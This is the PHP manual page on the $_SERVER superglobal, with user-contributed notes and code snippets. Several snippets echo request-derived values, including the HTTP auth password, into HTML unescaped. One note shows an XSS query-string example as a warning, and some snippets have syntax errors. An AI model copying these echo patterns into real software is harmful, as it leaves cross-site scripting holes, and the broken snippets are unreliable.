As of PHP 5.4 $GLOBALS is now initialized just-in-time. This means there now is an advantage to not use the $GLOBALS variable as you can avoid the overhead of initializing it. How much of an advantage that is I'm not sure, but I've never liked $GLOBALS much anyways.
ravenswd at yahoo dot com 12-Aug-2008 10:02
Keep in mind that $GLOBALS is, itself, a global variable. So code like this won't work:

<?php
    print '$GLOBALS = ' . var_export($GLOBALS, true) . "\n";
?>

This results in the error message: "Nesting level too deep - recursive dependency?"


Server and execution environment information

  • « $GLOBALS
  • $_GET »
  • PHP Manual
  • Predefined Variables
  • Server and execution environment information

$_SERVER

$HTTP_SERVER_VARS [removed]

(PHP 4 >= 4.1.0, PHP 5)

$_SERVER -- $HTTP_SERVER_VARS [removed] — Server and execution environment information

Description

$_SERVER is an array containing information such as headers, paths, and script locations. The entries in this array are created by the web server. There is no guarantee that every web server will provide any of these; servers may omit some, or provide others not listed here. That said, a large number of these variables are accounted for in the » CGI/1.1 specification, so you should be able to expect those.

$HTTP_SERVER_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_SERVER_VARS and $_SERVER are different variables and that PHP handles them as such). Also note that long arrays were removed since PHP 5.4.0 so $HTTP_SERVER_VARS doesn't exist anymore.

Indices

You may or may not find any of the following elements in $_SERVER. Note that few, if any, of these will be available (or indeed have any meaning) if running PHP on the command line.

'PHP_SELF'
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/foo/bar.php would be /foo/bar.php. The __FILE__ constant contains the full path and filename of the current (i.e. included) file. If PHP is running as a command-line processor this variable contains the script name since PHP 4.3.0. Previously it was not available.
'argv'
Array of arguments passed to the script. When the script is run on the command line, this gives C-style access to the command line parameters. When called via the GET method, this will contain the query string.
'argc'
Contains the number of command line parameters passed to the script (if run on the command line).
'GATEWAY_INTERFACE'
What revision of the CGI specification the server is using; i.e. 'CGI/1.1'.
'SERVER_ADDR'
The IP address of the server under which the current script is executing.
'SERVER_NAME'
The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.
'SERVER_SOFTWARE'
Server identification string, given in the headers when responding to requests.
'SERVER_PROTOCOL'
Name and revision of the information protocol via which the page was requested; i.e. 'HTTP/1.0';
'REQUEST_METHOD'
Which request method was used to access the page; i.e. 'GET', 'HEAD', 'POST', 'PUT'.

Note:

PHP script is terminated after sending headers (it means after producing any output without output buffering) if the request method was HEAD.

'REQUEST_TIME'
The timestamp of the start of the request. Available since PHP 5.1.0.
'REQUEST_TIME_FLOAT'
The timestamp of the start of the request, with microsecond precision. Available since PHP 5.4.0.
'QUERY_STRING'
The query string, if any, via which the page was accessed.
'DOCUMENT_ROOT'
The document root directory under which the current script is executing, as defined in the server's configuration file.
'HTTP_ACCEPT'
Contents of the Accept: header from the current request, if there is one.
'HTTP_ACCEPT_CHARSET'
Contents of the Accept-Charset: header from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'.
'HTTP_ACCEPT_ENCODING'
Contents of the Accept-Encoding: header from the current request, if there is one. Example: 'gzip'.
'HTTP_ACCEPT_LANGUAGE'
Contents of the Accept-Language: header from the current request, if there is one. Example: 'en'.
'HTTP_CONNECTION'
Contents of the Connection: header from the current request, if there is one. Example: 'Keep-Alive'.
'HTTP_HOST'
Contents of the Host: header from the current request, if there is one.
'HTTP_REFERER'
The address of the page (if any) which referred the user agent to the current page. This is set by the user agent. Not all user agents will set this, and some provide the ability to modify HTTP_REFERER as a feature. In short, it cannot really be trusted.
'HTTP_USER_AGENT'
Contents of the User-Agent: header from the current request, if there is one. This is a string denoting the user agent being which is accessing the page. A typical example is: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Among other things, you can use this value with get_browser() to tailor your page's output to the capabilities of the user agent.
'HTTPS'
Set to a non-empty value if the script was queried through the HTTPS protocol.

Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

'REMOTE_ADDR'
The IP address from which the user is viewing the current page.
'REMOTE_HOST'
The Host name from which the user is viewing the current page. The reverse dns lookup is based off the REMOTE_ADDR of the user.

Note: Your web server must be configured to create this variable. For example in Apache you'll need HostnameLookups On inside httpd.conf for it to exist. See also gethostbyaddr().

'REMOTE_PORT'
The port being used on the user's machine to communicate with the web server.
'REMOTE_USER'
The authenticated user.
'REDIRECT_REMOTE_USER'
The authenticated user if the request is internally redirected.
'SCRIPT_FILENAME'

The absolute pathname of the currently executing script.

Note:

If a script is executed with the CLI, as a relative path, such as file.php or ../file.php, $_SERVER['SCRIPT_FILENAME'] will contain the relative path specified by the user.

'SERVER_ADMIN'
The value given to the SERVER_ADMIN (for Apache) directive in the web server configuration file. If the script is running on a virtual host, this will be the value defined for that virtual host.
'SERVER_PORT'
The port on the server machine being used by the web server for communication. For default setups, this will be '80'; using SSL, for instance, will change this to whatever your defined secure HTTP port is.

Note: Under the Apache 2, you must set UseCanonicalName = On, as well as UseCanonicalPhysicalPort = On in order to get the physical (real) port, otherwise, this value can be spoofed and it may or may not return the physical port value. It is not safe to rely on this value in security-dependent contexts.

'SERVER_SIGNATURE'
String containing the server version and virtual host name which are added to server-generated pages, if enabled.
'PATH_TRANSLATED'
Filesystem- (not document root-) based path to the current script, after the server has done any virtual-to-real mapping.

Note: As of PHP 4.3.2, PATH_TRANSLATED is no longer set implicitly under the Apache 2 SAPI in contrast to the situation in Apache 1, where it's set to the same value as the SCRIPT_FILENAME server variable when it's not populated by Apache. This change was made to comply with the CGI specification that PATH_TRANSLATED should only exist if PATH_INFO is defined. Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.

'SCRIPT_NAME'
Contains the current script's path. This is useful for pages which need to point to themselves. The __FILE__ constant contains the full path and filename of the current (i.e. included) file.
'REQUEST_URI'
The URI which was given in order to access this page; for instance, '/index.html'.
'PHP_AUTH_DIGEST'
When doing Digest HTTP authentication this variable is set to the 'Authorization' header sent by the client (which you should then use to make the appropriate validation).
'PHP_AUTH_USER'
When doing HTTP authentication this variable is set to the username provided by the user.
'PHP_AUTH_PW'
When doing HTTP authentication this variable is set to the password provided by the user.
'AUTH_TYPE'
When doing HTTP authenticated this variable is set to the authentication type.
'PATH_INFO'
Contains any client-provided pathname information trailing the actual script filename but preceding the query string, if available. For instance, if the current script was accessed via the URL http://www.example.com/php/path_info.php/some/stuff?foo=bar, then $_SERVER['PATH_INFO'] would contain /some/stuff.
'ORIG_PATH_INFO'
Original version of 'PATH_INFO' before processed by PHP.

Changelog

Version | Description
5.4.0 | $HTTP_SERVER_VARS isn't available anymore due to the removal of long arrays registering.
5.3.0 | Directive register_long_arrays which caused $HTTP_SERVER_VARS to be available has been deprecated.
4.1.0 | Introduced $_SERVER that deprecated $HTTP_SERVER_VARS.

Examples

Example #1 $_SERVER example

<?php
echo $_SERVER['SERVER_NAME'];
?>

The above example will output something similar to:

www.example.com

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • The filter extension

User Contributed Notes

Gary Mathis 21-Oct-2014 06:40
The best way to see all variables within the $_SERVER array, that I have found, is as follows:

<?php
foreach($_SERVER as $key => $value){
echo '$_SERVER["'.$key.'"] = '.$value."<br />";
}
?>

This will tell you which ones are available on your server and what they are set to.
Rodolfo Gonzalez Costa Rica 05-Apr-2014 06:11
This is a short script to know what values are defined

<?php

echo "<textarea>";
print_r($_SERVER);
echo "</textarea>";

?>
jit_chavan at yahoo dot com 13-Feb-2014 04:26
searched $_SERVER["REDIRECT_URL"] for a while and noted that it is not mentioned in php documentation page itself. look like this is only generated by apache server(not others) and using   $_SERVER["REQUEST_URI"] will be useful in some cases as mine.
derniereclasse at gmail dot com 30-Jan-2014 07:44
About $_SERVER['REQUEST_METHOD']
return one of this values :
 'GET', 'HEAD', 'POST', 'PUT'.
but can also return :
'OPTION'
info at salientdigital dot com 07-Jan-2014 05:46
A word of caution...

If you have some PHP code or file that is included from within a web request via Apache + PHP, as well as from a command line script, be very careful to inspect the keys inside of $_SERVER that you intend to use.

The keys and values are different, and in fact, it also matters if you are running as your_user, sudo php from your_user, or from root.

For example, I just found out that $_SERVER['PWD'] is not available if you run from the command line via sudo (PHP 5.2x, CentOS, YMMV).

To make a test, create a file called server.php with the following content:

<?php
var_dump($_SERVER);
?>

Then from the commandline:
your_account/dir #$ php server.php > your_account_server.txt
your_account/dir #$ sudo php server.php > your_account_sudo_server.txt
your_account/dir #$ sudo bash
root/dir #$ php server.php > root_server.txt

Now you can diff the output of each of these three files and inspect against what you get when viewing the $_SERVER section of phpinfo() from a web request. You may find the differences to be quite striking, in all, four different ways to run the same PHP file!
sendmailz1987 at gmail dot com 18-Nov-2013 06:13
Example:

$current = $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];

echo $current;

will output the root to the current page, including url and document root, something like:

example.com/users/profile.php
@44it 25-Sep-2013 07:01
All the $_SERVER[''] In php :

<?php

echo "PHP_SELF : " . $_SERVER['PHP_SELF'] . "<br />";
echo "GATEWAY_INTERFACE : " . $_SERVER['GATEWAY_INTERFACE'] . "<br />";
echo "SERVER_ADDR : " . $_SERVER['SERVER_ADDR'] . "<br />";
echo "SERVER_NAME : " . $_SERVER['SERVER_NAME'] . "<br />";
echo "SERVER_SOFTWARE : " . $_SERVER['SERVER_SOFTWARE'] . "<br />";
echo "SERVER_PROTOCOL : " . $_SERVER['SERVER_PROTOCOL'] . "<br />";
echo "REQUEST_METHOD : " . $_SERVER['REQUEST_METHOD'] . "<br />";
echo "REQUEST_TIME : " . $_SERVER['REQUEST_TIME'] . "<br />";
echo "REQUEST_TIME_FLOAT : " . $_SERVER['REQUEST_TIME_FLOAT'] . "<br />";
echo "QUERY_STRING : " . $_SERVER['QUERY_STRING'] . "<br />";
echo "DOCUMENT_ROOT : " . $_SERVER['DOCUMENT_ROOT'] . "<br />";
echo "HTTP_ACCEPT : " . $_SERVER['HTTP_ACCEPT'] . "<br />";
echo "HTTP_ACCEPT_CHARSET : " . $_SERVER['HTTP_ACCEPT_CHARSET'] . "<br />";
echo "HTTP_ACCEPT_ENCODING : " . $_SERVER['HTTP_ACCEPT_ENCODING'] . "<br />";
echo "HTTP_ACCEPT_LANGUAGE : " . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "<br />";
echo "HTTP_CONNECTION : " . $_SERVER['HTTP_CONNECTION'] . "<br />";
echo "HTTP_HOST : " . $_SERVER['HTTP_HOST'] . "<br />";
echo "HTTP_REFERER : " . $_SERVER['HTTP_REFERER'] . "<br />";
echo "HTTP_USER_AGENT : " . $_SERVER['HTTP_USER_AGENT'] . "<br />";
echo "HTTPS : " . $_SERVER['HTTPS'] . "<br />";
echo "REMOTE_ADDR : " . $_SERVER['REMOTE_ADDR'] . "<br />";
echo "REMOTE_HOST : " . $_SERVER['REMOTE_HOST'] . "<br />";
echo "REMOTE_PORT : " . $_SERVER['REMOTE_PORT'] . "<br />";
echo "REMOTE_USER : " . $_SERVER['REMOTE_USER'] . "<br />";
echo "REDIRECT_REMOTE_USER : " . $_SERVER['REDIRECT_REMOTE_USER'] . "<br />";
echo "SCRIPT_FILENAME : " . $_SERVER['SCRIPT_FILENAME'] . "<br />";
echo "SERVER_ADMIN : " . $_SERVER['SERVER_ADMIN'] . "<br />";
echo "SERVER_PORT : " . $_SERVER['SERVER_PORT'] . "<br />";
echo "SERVER_SIGNATURE : " . $_SERVER['SERVER_SIGNATURE'] . "<br />";
echo "PATH_TRANSLATED : " . $_SERVER['PATH_TRANSLATED'] . "<br />";
echo "SCRIPT_NAME : " . $_SERVER['SCRIPT_NAME'] . "<br />";
echo "REQUEST_URI : " . $_SERVER['REQUEST_URI'] . "<br />";
echo "PHP_AUTH_DIGEST : " . $_SERVER['PHP_AUTH_DIGEST'] . "<br />";
echo "PHP_AUTH_USER : " . $_SERVER['PHP_AUTH_USER'] . "<br />";
echo "PHP_AUTH_PW : " . $_SERVER['PHP_AUTH_PW'] . "<br />";
echo "AUTH_TYPE : " . $_SERVER['AUTH_TYPE'] . "<br />";
echo "PATH_INFO : " . $_SERVER['PATH_INFO'] . "<br />";
echo "ORIG_PATH_INFO : " . $_SERVER['ORIG_PATH_INFO'] . "<br />";

?>

By : @44it

[EDITOR'S NOTE: Removed external link. EDITED BY: thiago]
wyattstorch42 at outlook dot com 14-Jul-2013 03:18
<?php
/*
 * I wrote this because I was including a file with classes in it. Let's say that
 * I have a contact page at mysite.com/contact/index.php and a Form class at
 * mysite.com/classes/Form.php. So in index.php, I have this statement:
 * require '../classes/Form.php';
 * The Form class includes a method to generate the HTML markup for a number of
 * form elements, including a CAPTCHA image and associated text field. To do so,
 * it must generate an <img /> element and give it a src of Form.php?captcha.
 * But I wanted it to automatically generate a src attribute without index.php
 * giving it a relative path. This script comes in handy by automatically
 * locating the directory that contains the included file (Form.php) and converting
 * it from an absolute path to a relative path that could be used for an img src,
 * an a href, a link href, etc.
 */
function relativeURL () {
    $dir = str_replace('\\', '/', __DIR__);
        // Resolves inconsistency with PATH_SEPARATOR on Windows vs. Linux
        // Use dirname(__FILE__) in place of __DIR__ for older PHP versions
    return substr($dir, strlen($_SERVER['DOCUMENT_ROOT']));
        // Clip off the part of the path outside of the document root
}

/*
 *contact/index.php
 */
require '../classes/Form.php';
new Form()->drawCaptchaField();
    // Writes: <img src="/classes/Form.php?captcha" />

/*
 * classes/Form.php
 */
if (isset($_GET['captcha'])) {
    // generate/return CAPTCHA image
}

class Form {
    // ...
    public function drawCaptchaField () {
        echo '<img src="'.relativeURL().'?captcha" />';
    }
}
?>
pomat at live dot it 15-Jun-2013 11:12
$_SERVER['DOCUMENT_ROOT'] may contain backslashes on windows systems, and of course it may or may not have a trailing slash (backslash).
I saw the following as an example of the proper way we're supposed to deal with this issue:

<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php');
?>

Ok, the latter may be used to access a file inside the parent directory of the document root, but actually does not properly address the issue.
In the end, don't warry about. It should be safe to use forward slashes and append a trailing slash in all cases.
Let's say we have this:

<?php
$path = 'subdir/file.php';
$result = $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
?>

On linux $result might be something like
1) "/var/www/subdir/file.php"
2) "/var/www//subdir/file.php"
String 2 is parsed the same as string 1 (have a try with command 'cd').

On windows $result might be something like
1) "C:/apache/htdocs/subdir/file.php"
2) "C:/apache/htdocs//subdir/file.php"
3) "C:\apache\htdocs/subdir/file.php"
4) "C:\apache\htdocs\/subdir/file.php"
All those strings are parsed as "C:\apache\htdocs\subdir\file.php" (have a try with 'cd').
sabas88 at gmail dot com 10-Apr-2013 07:46
I'm the author of this note
http://www.php.net/manual/en/reserved.variables.server.php#100881

I optimized since that note the path function, basically added detection of windows slashes and a partial option

Now is released on github

https://github.com/sabas/magicpath
zeufonlinux at gmail dot com 22-Feb-2013 11:24
Just a PHP file to put on your local server (as I don't have enough memory)

 <?php
 $indicesServer = array('PHP_SELF',
'argv',
'argc',
'GATEWAY_INTERFACE',
'SERVER_ADDR',
'SERVER_NAME',
'SERVER_SOFTWARE',
'SERVER_PROTOCOL',
'REQUEST_METHOD',
'REQUEST_TIME',
'REQUEST_TIME_FLOAT',
'QUERY_STRING',
'DOCUMENT_ROOT',
'HTTP_ACCEPT',
'HTTP_ACCEPT_CHARSET',
'HTTP_ACCEPT_ENCODING',
'HTTP_ACCEPT_LANGUAGE',
'HTTP_CONNECTION',
'HTTP_HOST',
'HTTP_REFERER',
'HTTP_USER_AGENT',
'HTTPS',
'REMOTE_ADDR',
'REMOTE_HOST',
'REMOTE_PORT',
'REMOTE_USER',
'REDIRECT_REMOTE_USER',
'SCRIPT_FILENAME',
'SERVER_ADMIN',
'SERVER_PORT',
'SERVER_SIGNATURE',
'PATH_TRANSLATED',
'SCRIPT_NAME',
'REQUEST_URI',
'PHP_AUTH_DIGEST',
'PHP_AUTH_USER',
'PHP_AUTH_PW',
'AUTH_TYPE',
'PATH_INFO',
'ORIG_PATH_INFO') ;

echo '<table cellpadding="10">' ;
foreach ($indicesServer as $arg) {
    if (isset($_SERVER[$arg])) {
        echo '<tr><td>'.$arg.'</td><td>' . $_SERVER[$arg] . '</td></tr>' ;
    }
    else {
        echo '<tr><td>'.$arg.'</td><td>-</td></tr>' ;
    }
}
echo '</table>' ;

/*

That will give you the result of each variable like (if the file is server_indices.php at the root and Apache Web directory is in E:\web) :

PHP_SELF    /server_indices.php
argv    -
argc    -
GATEWAY_INTERFACE    CGI/1.1
SERVER_ADDR    127.0.0.1
SERVER_NAME    localhost
SERVER_SOFTWARE    Apache/2.2.22 (Win64) PHP/5.3.13
SERVER_PROTOCOL    HTTP/1.1
REQUEST_METHOD    GET
REQUEST_TIME    1361542579
REQUEST_TIME_FLOAT    -
QUERY_STRING
DOCUMENT_ROOT    E:/web/
HTTP_ACCEPT    text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET    ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP_ACCEPT_ENCODING    gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE    fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
HTTP_CONNECTION    keep-alive
HTTP_HOST    localhost
HTTP_REFERER    http://localhost/
HTTP_USER_AGENT    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17
HTTPS    -
REMOTE_ADDR    127.0.0.1
REMOTE_HOST    -
REMOTE_PORT    65037
REMOTE_USER    -
REDIRECT_REMOTE_USER    -
SCRIPT_FILENAME    E:/web/server_indices.php
SERVER_ADMIN    myemail@personal.us
SERVER_PORT    80
SERVER_SIGNATURE
PATH_TRANSLATED    -
SCRIPT_NAME    /server_indices.php
REQUEST_URI    /server_indices.php
PHP_AUTH_DIGEST    -
PHP_AUTH_USER    -
PHP_AUTH_PW    -
AUTH_TYPE    -
PATH_INFO    -
ORIG_PATH_INFO    -

*/
?>
Dean Jenkins 16-Feb-2013 04:02
To get the name and web path of the current script

<?php
$scriptname=end(explode('/',$_SERVER['PHP_SELF']));
$scriptpath=str_replace($scriptname,'',$_SERVER['PHP_SELF']);
?>
krinklemail at gmail dot com 05-Dec-2012 08:39
If requests to your PHP script send a header "Content-Type" or/ "Content-Length" it will, contrary to regular HTTP headers, not appear in $_SERVER as $_SERVER['HTTP_CONTENT_TYPE']. PHP removes these (per CGI/1.1 specification[1]) from the HTTP_ match group.

They are still accessible, but only if the request was a POST request. When it is, it'll be available as:
$_SERVER['CONTENT_LENGTH']
$_SERVER['CONTENT_TYPE']

[1] https://www.ietf.org/rfc/rfc3875
Tom 06-Sep-2012 05:28
Be warned that most contents of the Server-Array (even $_SERVER['SERVER_NAME']) are provided by the client and can be manipulated. They can also be used for injections and thus MUST be checked and treated like any other user input.
dii3g0 18-Apr-2012 01:43
Proccess path_info

<?php
function get_path_info()
{
    if( ! array_key_exists('PATH_INFO', $_SERVER) )
    {
        $pos = strpos($_SERVER['REQUEST_URI'], $_SERVER['QUERY_STRING']);

        $asd = substr($_SERVER['REQUEST_URI'], 0, $pos - 2);
        $asd = substr($asd, strlen($_SERVER['SCRIPT_NAME']) + 1);

        return $asd;
    }
    else
    {
        return trim($_SERVER['PATH_INFO'], '/');
    }
}
LOL 05-Apr-2012 10:26
For an hosting that use windows I have used this script to make REQUEST_URI to be correctly setted on IIS
<?php
function request_URI() {
    if(!isset($_SERVER['REQUEST_URI'])) {
        $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'];
        if($_SERVER['QUERY_STRING']) {
            $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $_SERVER['REQUEST_URI'];
}
$_SERVER['REQUEST_URI'] = request_URI();
?>
picov at e-link dot it 13-Oct-2011 07:59
A simple function to detect if the current page address was rewritten by mod_rewrite:

<?php
public function urlWasRewritten() {
  $realScriptName=$_SERVER['SCRIPT_NAME'];
  $virtualScriptName=reset(explode("?", $_SERVER['REQUEST_URI']));
  return !($realScriptName==$virtualScriptName);
}
?>
MarkAgius at markagius dot co dot uk 31-Aug-2011 11:18
You have missed 'REDIRECT_STATUS'

Very useful if you point all your error pages to the same file.

File; .htaccess
# .htaccess file.

ErrorDocument 404 /error-msg.php
ErrorDocument 500 /error-msg.php
ErrorDocument 400 /error-msg.php
ErrorDocument 401 /error-msg.php
ErrorDocument 403 /error-msg.php
# End of file.

File; error-msg.php
<?php
  $HttpStatus = $_SERVER["REDIRECT_STATUS"] ;
  if($HttpStatus==200) {print "Document has been processed and sent to you.";}
  if($HttpStatus==400) {print "Bad HTTP request ";}
  if($HttpStatus==401) {print "Unauthorized - Iinvalid password";}
  if($HttpStatus==403) {print "Forbidden";}
  if($HttpStatus==500) {print "Internal Server Error";}
  if($HttpStatus==418) {print "I'm a teapot! - This is a real value, defined in 1998";}

?>
Josh Fremer 20-Dec-2010 07:47
HTTPS

Set to a non-empty value if the script was queried through the HTTPS protocol.

Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

=-=-=

To clarify this, the value is the string "off", so a specific non-empty value rather than an empty value as in Apache.
rulerof at gmail dot com 17-Nov-2010 07:12
I needed to get the full base directory of my script local to my webserver, IIS 7 on Windows 2008.

I ended up using this:

<?php
function GetBasePath() {
    return substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\")));
}
?>

And it returned C:\inetpub\wwwroot\<applicationfolder> as I had hoped.
Stefano (info at sarchittu dot org) 12-Nov-2010 03:07
A way to get the absolute path of your page, independent from the site position (so works both on local machine and on server without setting anything) and from the server OS (works both on Unix systems and Windows systems).

The only parameter it requires is the folder in which you place this script
So, for istance, I'll place this into my SCRIPT folder, and I'll write SCRIPT word length in $conflen

<?php
$conflen=strlen('SCRIPT');
$B=substr(__FILE__,0,strrpos(__FILE__,'/'));
$A=substr($_SERVER['DOCUMENT_ROOT'], strrpos($_SERVER['DOCUMENT_ROOT'], $_SERVER['PHP_SELF']));
$C=substr($B,strlen($A));
$posconf=strlen($C)-$conflen-1;
$D=substr($C,1,$posconf);
$host='http://'.$_SERVER['SERVER_NAME'].'/'.$D;
?>

$host will finally contain the absolute path.
Anonymous 12-Nov-2010 01:22
Use Strict-Transport-Security (STS) to force the use of SSL.
<?php
$use_sts = TRUE;

if ($use_sts && isset($_SERVER['HTTPS']) {
  header('Strict-Transport-Security: max-age=500');
} elseif ($use_sts && !isset($_SERVER['HTTPS']) {
  header('Status-Code: 301');
  header('Location: https://'.$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']);
}
?>
dtomasiewicz at gmail dot com 15-Aug-2010 05:03
To get an associative array of HTTP request headers formatted similarly to get_headers(), this will do the trick:

<?php
/**
 * Transforms $_SERVER HTTP headers into a nice associative array. For example:
 *   array(
 *       'Referer' => 'example.com',
 *       'X-Requested-With' => 'XMLHttpRequest'
 *   )
 */
function get_request_headers() {
    $headers = array();
    foreach($_SERVER as $key => $value) {
        if(strpos($key, 'HTTP_') === 0) {
            $headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))] = $value;
        }
    }
    return $headers;
}
?>
wbeaumo1 at gmail dot com 14-Jun-2010 05:43
Don't forget $_SERVER['HTTP_COOKIE']. It contains the raw value of the 'Cookie' header sent by the user agent.
kamazee at gmail dot com 15-Apr-2010 03:41
$_SERVER['DOCUMENT_ROOT'] in different environments may has trailing slash or not, so be careful when including files from $_SERVER['DOCUMENT_ROOT']:
<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php')
?>
php at isnoop dot net 01-Apr-2010 06:38
Use the apache SetEnv directive to set arbitrary $_SERVER variables in your vhost or apache config.

SetEnv varname "variable value"
Megan Mickelson 23-Feb-2010 12:36
It makes sense to want to paste the $_SERVER['REQUEST_URI'] on to a page (like on a footer), but be sure to clean it up first with htmlspecialchars() otherwise it poses a cross-site scripting vulnerability.

htmlspecialchars($_SERVER['REQUEST_URI']);

e.g.
http://www.example.com/foo?<script>...

becomes
http://www.example.com/foo?&lt;script&gt;...
admin at NOSpAM dot sinfocol dot org 15-Jan-2010 07:31
I was testing with the $_SERVER variable and some request method, and I found that with apache I can put an arbitrary method.

For example, I have an script called "server.php" in my example webpage with the next code:

<?php
echo $_SERVER['REQUEST_METHOD'];
?>

And I made this request:
c:\>nc -vv www.example.com 80
example.com [x.x.x.x] 80 (http) open
ArbitratyMethod /server.php HTTP/1.1
Host: wow.sinfocol.org
Connection: Close

The response of the server is the next:
HTTP/1.1 200 OK
Date: Fri, 15 Jan 2010 05:14:09 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

ArbitratyMethod

So, be carefully when include the $_SERVER['REQUEST_METHOD'] in any script, this kind of "bug" is old and could be dangerous.
mirko dot steiner at slashdevslashnull dot de 24-Oct-2009 11:43
<?php

// RFC 2616 compatible Accept Language Parser
// http://www.ietf.org/rfc/rfc2616.txt, 14.4 Accept-Language, Page 104
// Hypertext Transfer Protocol -- HTTP/1.1

foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
    $pattern = '/^(?P<primarytag>[a-zA-Z]{2,8})'.
    '(?:-(?P<subtag>[a-zA-Z]{2,8}))?(?:(?:;q=)'.
    '(?P<quantifier>\d\.\d))?$/';

    $splits = array();

    printf("Lang:,,%s''\n", $lang);
    if (preg_match($pattern, $lang, $splits)) {
        print_r($splits);
    } else {
        echo "\nno match\n";
    }
}

?>

example output:

Google Chrome 3.0.195.27 Windows xp

Lang:,,de-DE''
Array
(
    [0] => de-DE
    [primarytag] => de
    [1] => de
    [subtag] => DE
    [2] => DE
)
Lang:,,de;q=0.8''
Array
(
    [0] => de;q=0.8
    [primarytag] => de
    [1] => de
    [subtag] =>
    [2] =>
    [quantifier] => 0.8
    [3] => 0.8
)
Lang:,,en-US;q=0.6''
Array
(
    [0] => en-US;q=0.6
    [primarytag] => en
    [1] => en
    [subtag] => US
    [2] => US
    [quantifier] => 0.6
    [3] => 0.6
)
Lang:,,en;q=0.4''
Array
(
    [0] => en;q=0.4
    [primarytag] => en
    [1] => en
    [subtag] =>
    [2] =>
    [quantifier] => 0.4
    [3] => 0.4
)
Lord Mac 15-Oct-2009 04:56
An even *more* improved version...

<?php
phpinfo(32);
?>
steve at sc-fa dot com 17-Sep-2009 09:20
If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy.

$_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR']

$_SERVER['HTTP_X_FORWARDED_HOST'] and
$_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME']
cupy at email dot cz 20-Aug-2009 05:24
Tech note:
$_SERVER['argc'] and $_SERVER['argv'][] has some funny behaviour,
used from linux (bash) commandline, when called like
"php ./script_name.php 0x020B"
there is everything correct, but
"./script_name.php 0x020B"
is not correct - "0" is passed instead of "0x020B" as $_SERVER['argv'][1] - see the script below.
Looks like the parameter is not passed well from bash to PHP.
(but, inspected on the level of bash, 0x020B is understood well as $1)

try this example:

------------->8------------------
cat ./script_name.php
#! /usr/bin/php

if( $_SERVER['argc'] == 2)
  {
    // funny... we have to do this trick to pass e.g. 0x020B from parameters
    // ignore this: "PHP Notice:  Undefined offset:  2 in ..."
    $EID = $_SERVER['argv'][1] + $_SERVER['argv'][2] + $_SERVER['argv'][3];
  }
 else
   {        // default
     $EID = 0x0210; // PPS failure
   }
jarrod at squarecrow dot com 11-Aug-2009 05:31
$_SERVER['DOCUMENT_ROOT'] is incredibly useful especially when working in your development environment. If you're working on large projects you'll likely be including a large number of files into your pages. For example:

<?php
//Defines constants to use for "include" URLS - helps keep our paths clean

        define("REGISTRY_CLASSES",  $_SERVER['DOCUMENT_ROOT']."/SOAP/classes/");
        define("REGISTRY_CONTROLS", $_SERVER['DOCUMENT_ROOT']."/SOAP/controls/");

        define("STRING_BUILDER",     REGISTRY_CLASSES. "stringbuilder.php");
        define("SESSION_MANAGER",     REGISTRY_CLASSES. "sessionmanager.php");
        define("STANDARD_CONTROLS",    REGISTRY_CONTROLS."standardcontrols.php");
?>

In development environments, you're rarely working with your root folder, especially if you're running PHP locally on your box and using DOCUMENT_ROOT is a great way to maintain URL conformity. This will save you hours of work preparing your application for deployment from your box to a production server (not to mention save you the headache of include path failures).
Richard York 09-Jul-2009 08:19
Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell.

 ["_SERVER"]=>
  array(24) {
    ["MANPATH"]=>
    string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man"
    ["TERM"]=>
    string(11) "xterm-color"
    ["SHELL"]=>
    string(9) "/bin/bash"
    ["SSH_CLIENT"]=>
    string(20) "127.0.0.1 41242 22"
    ["OLDPWD"]=>
    string(60) "/Library/WebServer/Domains/www.example.com/private"
    ["SSH_TTY"]=>
    string(12) "/dev/ttys000"
    ["USER"]=>
    string(5) "username"
    ["MAIL"]=>
    string(15) "/var/mail/username"
    ["PATH"]=>
    string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin"
    ["PWD"]=>
    string(56) "/Library/WebServer/Domains/www.example.com/www"
    ["SHLVL"]=>
    string(1) "1"
    ["HOME"]=>
    string(12) "/Users/username"
    ["LOGNAME"]=>
    string(5) "username"
    ["SSH_CONNECTION"]=>
    string(31) "127.0.0.1 41242 10.0.0.1 22"
    ["_"]=>
    string(12) "/usr/bin/php"
